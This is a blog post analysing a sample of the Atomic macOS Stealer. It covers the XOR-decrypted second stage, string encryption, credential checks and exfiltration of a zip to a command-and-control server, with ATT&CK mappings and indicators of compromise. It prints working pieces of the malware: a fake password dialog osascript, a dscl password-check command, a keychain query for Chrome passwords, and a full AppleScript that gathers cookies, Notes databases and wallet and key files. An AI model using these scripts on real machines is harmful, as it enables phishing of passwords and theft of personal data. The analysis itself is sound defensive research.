SecureThinkLab logo
  • About 
  • Blog 
  • Tags 
  •  Toggle theme
    •   Light
    •   Dark
    •   Auto
    •   Light
    •   Dark
    •   Auto
  1. Home
  2. Blog
  3. AMOS (Atomic macOS Stealer) Analysis

AMOS (Atomic macOS Stealer) Analysis

Posted on March 1, 2024 • 11 min read • 2,167 words
Raffaele Sabato
malwares
 
macOS
 
malwares
 
macOS
 

On this page
 

  • Stage One
    • Decrypt Stage Two Mach-o
  • Stage Two
    • Verify The User Password
    • Ask the User Password
    • Get System Information
    • Steal Data
    • String Encryption
    • Data Exfiltration
  • Conclusion
  • MITRE ATT&CK MATRIX
  • Indicators of Compromise

AMOS (Atomic macOS Stealer) Analysis
Photo by Deep AI

Hello everybody, this is my first macOS malware analysis, I took a sample from malwarebazaar and tried to reverse it, the sample was uploaded by Cryptolaemus1 on 14 Feb 2024.

While analysing the stage two, it was clear that the sample is a variant of Atomic Stealer.

Atomic Stealer, as reported by SentinelOne is a macOS info stealer sold on Telegram, able to grab system information, account credential, browser data, session cookies and crypto wallets.

The main behaviours are the same already well described by RussianPanda.

Stage One  

The file downloaded from malwarebazaar is a dmg file called application_v1.1.dmg, I don’t know where it came from but we can suppose that it was distributed as a fake program as reported by Malwarebytes.

The SHA-256 for the file is 08ff8a6500d623b062dcef8a2ef6fc141c1871f7a84b42f842d470fee26070c4, obiviously it was already submitted on VirusTotal.

Figure 1 - VirusTotal application_v1.1.dmg

The dmg contains the following files:

  • .DS_Store
  • .DropDMGBackground
  • .fseventsd:
  • AppleApp
Figure 2 - application_v1.1.dmg Content

The mach-o AppleApp file is reported as malicious by VirusTotal, its SHA-256 is 4ac7d15c8a397cd68ba9e7166b2e356175761bf4580d0e03e3db994c3ceda3fa

Figure 3 - VirusTotal AppleApp

The file is signed with an adhoc signature.

Figure 4 - AppleApp adhoc Signature

When the dmg file is opened, it shows the following image requesting the user to right click and use the open option.

Figure 5 - AppleApp Installation

When the the file is opened, it asks the user to enter his password.

Figure 6 - Password Pop-up

Let’s try to reverse engineer the AppleApp mach-o to understand what it does.

Decrypt Stage Two Mach-o  

The main function of the x64 AppleApp mach-o, creates and prints the string “osascript -e ’tell application “Terminal” to close first windows& exit ‘”, and executes a fork, after that the parent process exits while the child process executes setsid, the osascript via system and the main2 function by running a new thread.

Figure 7 - AppleApp Main Function

The main2 function gets the user name by executing getenv(“USER”), it decrypts an embedded mach-o file using the encryptDecrypt function (0xBFC10 is the size of the encrypted file), writes the decrypted file to /Users/USERNAME/exe, then using system it executes chmod +x on the new created file to make it executable, then it runs the exe file via system, after that it sleeps for 1 seconds and deletes the /Users/USERNAME/exe file.

Figure 8 - AppleApp Main2 Function

The encryptDecrypt function is a simple xor between the encrypted mach-o file and the hardcoded key 0x13.

Figure 9 - AppleApp encryptDecrypt Function

Stage Two  

The mach-o exe file is reported as malicious by VirusTotal, its SHA-256 is c802c94d0836039aa986e66200233bdf84a9f68512e7ba6d22e93ab679309d4a.

Figure 10 - VirusTotal exe

The file is signed with an adhoc signature.

Figure 11 - exe adhoc Signature

The main function is similar to the one of the AppleApp mach-o, it creates and prints the string “osascript -e ’tell application “Terminal” to close first windows& exit ‘”, executes a fork, the parent process exits and the child process continue the execution.

The child process executes setsid, and executes the osascript by using the shellermy function.

Figure 12 - exe Main Function

The shellermy function is used to execute commands, it uses the popen function, and then reads the command output using the fread functions as shown in the image below.

Figure 13 - exe Shellermy Function

After this the malware executes several functions to steal informations and files from the system.

Verify The User Password  

The malware checks the user password by calling the shellermy function with the dscl command shown below as parameter.

dscl . authonly "username" "password"

If the password is valid the dscl command returns an empty response, otherwise the following message is returned.

Figure 14 - Credential Validation Fails

The haha_check_cv function is used to validate the dscl command output, it returns 1 if the user password is valid, otherwise it returns 0. In the following screenshot, we can see the haha_check_cv function executes the shellermy function (with the dscl command as parameter), comparing the shellermy output (it is the dscl command output) and returns the flag value related to the credential validity.

Figure 15 - exe haha_check_cv Function

The first time the dscl command is executed with a blank password, if it fails, this means that the user has a password.

Ask the User Password  

The getpasswordit function is used to ask the user to enter his password by calling the shellermy function with the following osascript as parameter. If the user has a blank password, this function is not executed.

osascript -e 'display dialog "Required Application Helper. Please enter passphrase for USERNAME." default answer "" with icon caution buttons {"Continue"} default button "Continue" giving up after 150 with title "Application wants to install helper" with hidden answer'

After that, the malware executes the dscl command again to validate the credentials, this process will be executed until the user enters the correct password. The credentials check is done by the haha_check_cv function.

The following screenshot of the getpasswordit function, shows the exit condition from the loop responsible to ask the user password, it breaks when the haha_check_cv returns 1.

Figure 16 - exe getpasswordit Loop

Get System Information  

The malware gets system information by executing the following command via shellarmy.

system_profiler SPSoftwareDataTye SPHardwareDataType SPDisplaysDataType

In the image below we can see a portion of the command result in the debugger.

Figure 17 - system_profiler output

At this point RussianPanda reportes an anti-vm check, in this sample this check is not implemented.

Steal Data  

The Malware uses several functions to steal files related to Browsers, Wallets and System data.

RussiandPanda and BitDefender reported the new version of the “FileGrabber” functionality used by the malware to grab several files and put them in the folder ~/fg/. In their blogs, they showed the osascript used to do this.

In my sample the FileGrabber osacript and the related string FileGrabber used to create the file in the zip, are both encrypted in the segment section at the following addresses:

  • 0x10003DFE2
  • 0x10003E0FA
  • 0x10003E33A
  • 0x10003E5CA
  • 0x10003E8EA

These strings are decrypted during the malware execution, but the script itself is never executed. In the following snipet you can see the decrypted FileGrabber osascript.

osascript -e '
    set destinationFolderPath to (path to home folder as text) & "fg:"
    set extensionsList to {"txt","png","jpg","jpeg","wallet","keys","key"} 
    set bankSize to 0 
    tell application "Finder" 
    set username to short user name of (system info) 
    try 
        if not (exists folder destinationFolderPath) then 
            make new folder at (path to home folder) with properties {name:"fg"} 
        end if 
        set safariFolder to ((path to library folder from user domain as text) & "Containers:com.apple.Safari:Data:Library:Cookies:") 
        try 
            duplicate file "Cookies.binarycookies" of folder safariFolder to folder destinationFolderPath with replacing 
        end try 
        
        set notesFolderPath to (path to home folder as text) & "Library:Group Containers:group.com.apple.notes:" 
        try 
            set notesFolder to folder notesFolderPath 
            set notesFiles to {file "NoteStore.sqlite", file "NoteStore.sqlite-shm", file "NoteStore.sqlite-wal"} of notesFolder 
            repeat with aFile in notesFiles 
                set fileSize to size of aFile 
                if (bankSize + fileSize) < 10 * 1024 * 1024 then 
                    try 
                        duplicate aFile to folder destinationFolderPath with replacing 
                        set bankSize to bankSize + fileSize 
                    end try 
                else 
                    exit repeat 
                end if 
            end repeat 

        end try 
        
        set desktopFiles to every file of desktop 
        set documentsFiles to every file of folder "Documents" of (path to home folder) 
        repeat with aFile in (desktopFiles & documentsFiles) 
            set fileExtension to name extension of aFile 
            if fileExtension is in extensionsList then 
                set fileSize to size of aFile 
                if (bankSize + fileSize) < 10 * 1024 * 1024 then 
                    try 
                        duplicate aFile to folder destinationFolderPath with replacing 
                        set bankSize to bankSize + fileSize 
                    end try 
                else 
                    exit repeat 
                end if 
            end if 
        end repeat 
    end try 
end tell'

It looks like that the execution of the FileGrabber osascript was disabled, but the malware is still looking for the ~/fg/ folder when collecting informations. I suppose it was disabled in order to not save files on disk and to not allarm the user with an additional pop-up.

The ChronosMasiter function is used to find Chrome passwords in the keychain. It executes the following command by passing it as parameter to the shellermy function.

security 2>&1 > /dev/null find-generic-password -ga 'Chrome' | awk '{print $2}'

When the command is executed a system pop-up spawns because macOS wants the user to enter the password to access the keychain.

Figure 18 - Keychain Access

The ChronosMasiter function is executed only if the user has a blank password, I think it is a way to not allarm the user by asking for his password two times.

Figure 19 - Call to ChronosMasiter function

The read_dir function is used to open a directory and read its contents, it uses stat, opendir and the readdir functions as shown below.

Figure 20 - exe read_dir Function

The rodwrote function, is used to open and read files, it uses the open and the read functions, the file content is written into the zip using the mz_zip_writer_add_mem_ex_v2 function.

Figure 21 - exe rodwrote Function

At this point the above functions are used to read folders and files, they are called by the following functions:

  • grab_this_folder_nahuy : is responsible to steal Wallets data
  • grab_this_nahuy: is responsible to steal Browser data
  • getpw : is responsible to steal data related to Chrome Wallets plugins
  • pathfox: is responsible to steal data related to Firefox

String Encryption  

All the strings are encrypted and are stored in the const segment, for example we can see the encrypted C2 string at address 0x10003DFCA.

Figure 22 - Encrypted C2 Strings

The strings are not directly manipulated during the decryption process, they are copied in a Thread Local Variables(TLV) at offset 0x10. For example in the image below a thread local variable is used to store the encrypted C2 strings.

Figure 23 - Thread Local Variable

After that the encrypted strings is xored with a hardcoded key that is incremented by 1 at each iteration, for example in the following snipet the c2_thread_local_variable_1 variable is the address containing the Encrypted C2 string (at offset 0xA), the i variable is just a counter incresed by 1 at each iteration and 0x77 is the hardcoded key.

Figure 24 - XOR Operation

The hardcoded key is not the same for all the strings, there are keys that are added to the counter (for example 0x77 in Figure 24) and keys that are subtracted from it. The strings are basically the same reported by RussianPanda, you can find mine here

Data Exfiltration  

The malware exfiltrates the stolen informations using a zip file that is filled everytime it reads informations (username, password, files), the malware uses the functions mz_zip_writer_finalize_archive and mz_zip_writer_end_internal to finalize the zip file.

Figure 25 - Zip Finalize

After that it executes the sentdata function to enstablish a connection to the C2 server and send a HTTP POST request containing the zip file.

Figure 26 - HTTP Post Request to C2

The HTTP request has the two following headers with hardcoded values:

  • uuid: 42b7baec-e6da-483a-b26c-0e9cb2579abf
  • user: october

I dumped the zip file from the memory during an execution without any browser and wallet installed on the system, I found the following files related to the keychain, username, password and system information.

Figure 27 - Zip Files

As example the file user contains the following data.

Figure 28 - File User Content

Conclusion  

The analysis of known malwares is still an interesting activity because every sample may have different behaviours.

The use of Thread Local Variables to decrypt and use the strings is very interesting.

The decrypting process described differs from the one reported in other blogs, moreover this sample requires only a minimum user interaction because the FileGrabber functiontality is disabled and the ChronosMasiter function is executed only if the user has a blank password.

The generic names such as application_v1.1.dmg, AppleApp, and the presence of several functions that are not used can lead us to suppose that this is a test version.

Feel free to contact me, I’d appreciate any feedback.

MITRE ATT&CK MATRIX  

TACTICTECHNIQUENAME
ReconnaissanceT1592.001Gather Victim Host Information: Hardware
ReconnaissanceT1592.004Gather Victim Host Information: Client Configurations
ReconnaissanceT1589.001Gather Victim Identity Information: Credentials
Resource DevelopmentT1583.008Acquire Infrastructure: Malvertising
Initial AccessTA0001Initial Access
ExecutionT1059.002Command and Scripting Interpreter: AppleScript
ExeutionT1059.004Command and Scripting Interpreter: Unix Shell
ExecutionT1204.002User Execution: Malicious File
Defense EvasionT1140Deobfuscate/Decode Files or Information
Defense EvasionT1070.004Indicator Removal: File Deletion
Defense EvasionT1027.009Obfuscated Files or Information: Embedded Payloads
Credential AccessT1555.001Credentials from Password Stores: Keychain
Credential AccessT1555.003Credentials from Password Stores: Credentials from Web Browsers
Credential AccessT1539Steal Web Session Cookie
DiscoveryT1087Account Discovery
DiscoveryT1217Browser Information Discovery
DiscoveryT1083File and Directory Discovery
DiscoveryT1082System Information Discovery
CollectionT1560.002Archive Collected Data: Archive via Library
CollectionT1119/Automated Collection
CollectionT1005Data from Local System
Command and ControlT1071.001/Application Layer Protocol: Web Protocols
ExfiltrationT1030Data Transfer Size Limits
ExfiltrationT1041Exfiltration Over C2 Channel

Indicators of Compromise  

CATEGORYTYPEVALUE
DMGSHA25608ff8a6500d623b062dcef8a2ef6fc141c1871f7a84b42f842d470fee26070c4
Mach-OSHA2564ac7d15c8a397cd68ba9e7166b2e356175761bf4580d0e03e3db994c3ceda3fa
Mach-OSHA256c802c94d0836039aa986e66200233bdf84a9f68512e7ba6d22e93ab679309d4a
C2IP5.42.64[.]114
 Gold Pickaxe iOS Technical Analysis: IPA Overview and C2 Communication Startup
Rustware Part 3: Dynamic API resolution (Windows) 
On this page
  • Stage One
    • Decrypt Stage Two Mach-o
  • Stage Two
    • Verify The User Password
    • Ask the User Password
    • Get System Information
    • Steal Data
    • String Encryption
    • Data Exfiltration
  • Conclusion
  • MITRE ATT&CK MATRIX
  • Indicators of Compromise

     
Copyright © 2025 SecureThinkLab All rights reserved.
SecureThinkLab
Code copied to clipboard